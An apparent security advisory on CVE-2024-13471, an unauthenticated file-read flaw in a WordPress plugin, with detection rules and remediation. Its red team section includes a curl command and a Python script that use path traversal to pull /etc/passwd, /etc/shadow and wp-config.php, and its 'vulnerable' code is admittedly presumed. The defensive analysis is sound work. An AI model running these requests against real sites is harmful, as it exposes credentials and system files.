CVE-2024-13471

Executive Summary

CVE-2024-13471 is a critical vulnerability in the DesignThemes Core Features plugin for WordPress, affecting all versions up to and including 4.7. The flaw resides in the dt_process_imported_file function, which lacks a capability check, allowing unauthenticated attackers to read arbitrary files from the underlying operating system. This is a classic case of missing authorization (CWE-862) in a WordPress plugin ecosystem, leading to unauthorized data access. With a CVSS score of 7.5 (High), the vulnerability is easily exploitable over the network without any authentication or user interaction, posing a significant risk to confidentiality. No public proof-of-concept (PoC) or exploit code has been released, and the patch status remains unknown, making this a high-priority issue for WordPress site administrators using this plugin.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and potentially through third-party marketplaces. As a WordPress ecosystem component, it is not managed through package managers like NPM or PyPI, but the risk to the supply chain is still significant. Compromised sites can lead to data breaches, malware distribution, or further lateral movement within the hosting environment. Administrators should verify the integrity of the plugin files and monitor for any unauthorized modifications.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Unauthenticated access.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Complete file read capability.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: High. The ease of exploitation and potential for sensitive data exposure (e.g., wp-config.php, /etc/passwd) make this a critical risk for unpatched installations.

Deep Dive & Mechanics

The vulnerability is located in the dt_process_imported_file function within the DesignThemes Core Features plugin. This function is intended to handle file imports, likely for theme or demo content. However, it fails to perform a capability check (e.g., current_user_can('import') or similar) before processing the file. As a result, any unauthenticated user can call this function via a crafted HTTP request.

The function likely uses PHP functions like file_get_contents() or fread() to read the imported file. By manipulating the file path parameter (e.g., via a file or path POST/GET variable), an attacker can perform path traversal to read arbitrary files on the server. For example, requesting ../../../../etc/passwd could expose system user data.

WordPress Ecosystem Context: This is a plugin-specific issue, not a core WordPress vulnerability. The plugin's failure to adhere to WordPress coding standards (specifically, capability checks) is the root cause.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be:

// Vulnerable version (<= 4.7)
function dt_process_imported_file() {
    // No capability check
    $file_path = $_POST['file_path']; // or similar
    $content = file_get_contents($file_path);
    // Process content...
}
add_action('wp_ajax_nopriv_dt_process_imported_file', 'dt_process_imported_file');

A patched version would include:

// Patched version (hypothetical)
function dt_process_imported_file() {
    if (!current_user_can('import')) {
        wp_die('Unauthorized', 403);
    }
    $file_path = sanitize_text_field($_POST['file_path']);
    // Additional validation
    if (strpos($file_path, '..') !== false) {
        wp_die('Invalid path', 400);
    }
    $content = file_get_contents($file_path);
    // Process content...
}
add_action('wp_ajax_dt_process_imported_file', 'dt_process_imported_file');

The key differences are:

1. Addition of current_user_can('import') check.
2. Use of wp_ajax_ (authenticated) instead of wp_ajax_nopriv_ (unauthenticated).
3. Input sanitization and path traversal prevention.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with DesignThemes Core Features plugin <= 4.7.
• Network access to the site.

Exploitation Steps:

1. Identify the vulnerable endpoint: The AJAX action dt_process_imported_file is registered without authentication. Use a tool like Burp Suite or curl to interact.

2. Craft the request:

   curl -X POST "http://target.com/wp-admin/admin-ajax.php" \
   -d "action=dt_process_imported_file&file_path=../../../../etc/passwd"
   

3. Read sensitive files:

   • WordPress configuration: file_path=../../../../wp-config.php
   • System files: file_path=../../../../etc/shadow (if permissions allow)

4. Automate with a script:

   import requests
   target = "http://target.com/wp-admin/admin-ajax.php"
   payload = {"action": "dt_process_imported_file", "file_path": "../../../../etc/passwd"}
   r = requests.post(target, data=payload)
   print(r.text)
   

Expected Output: The content of the requested file (e.g., /etc/passwd).

Blue Team (Detection & Response)

Detection:

• Monitor for POST requests to /wp-admin/admin-ajax.php with action=dt_process_imported_file.
• Look for path traversal patterns in file_path parameter (e.g., ../, ..\\).
• Alert on unusual file reads (e.g., /etc/passwd, wp-config.php).

Response:

1. Immediately disable the plugin if vulnerable.
2. Check logs for unauthorized access to sensitive files.
3. Rotate any exposed credentials (database passwords, salts).
4. Apply virtual patching via WAF rules (see Detection Engineering).

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /wp-admin/admin-ajax.php with action=dt_process_imported_file.
  • file_path parameter containing ../ or absolute paths like /etc/.
• File IOCs:
  • Unexpected access to /etc/passwd, /etc/shadow, wp-config.php, or other sensitive files.
• Log IOCs:
  • PHP error logs showing file_get_contents() failures for non-existent paths.
  • Web server access logs with 200 responses to the AJAX endpoint from unauthenticated IPs.

Detection Engineering

YARA Rule

rule Detect_CVE_2024_13471_Exploit {
    meta:
        description = "Detects exploitation attempts for CVE-2024-13471 in WordPress DesignThemes plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-13471"
    strings:
        $ajax_action = "dt_process_imported_file"
        $path_traversal = /\.\.\/|\.\.\\/
        $sensitive_file = /etc\/passwd|wp-config\.php|\.env/
    condition:
        $ajax_action and ($path_traversal or $sensitive_file)
}

Sigma Rule

title: CVE-2024-13471 WordPress DesignThemes File Read Exploit
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated file read attempts via dt_process_imported_file AJAX action
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=dt_process_imported_file'
        cs-uri-query|contains: 
            - 'file_path='
            - '..'
    condition: selection
falsepositives:
    - Legitimate plugin usage (if any) – unlikely without authentication
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13471 WordPress DesignThemes File Read Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=dt_process_imported_file"; http_client_body; content:"file_path"; http_client_body; pcre:"/\.\.\//"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block requests to admin-ajax.php with action=dt_process_imported_file from unauthenticated users.
3. Monitor logs for exploitation attempts.

Long-term Fix:

• The vendor must release a patched version that includes proper capability checks and input sanitization.
• Apply the patch as soon as it becomes available.

Workaround:

• Add the following code to the theme's functions.php to block the vulnerable AJAX action:

  add_action('wp_ajax_nopriv_dt_process_imported_file', function() {
      wp_die('Unauthorized', 403);
  }, 1);
  

Valters IT
Securing Digital Frontiers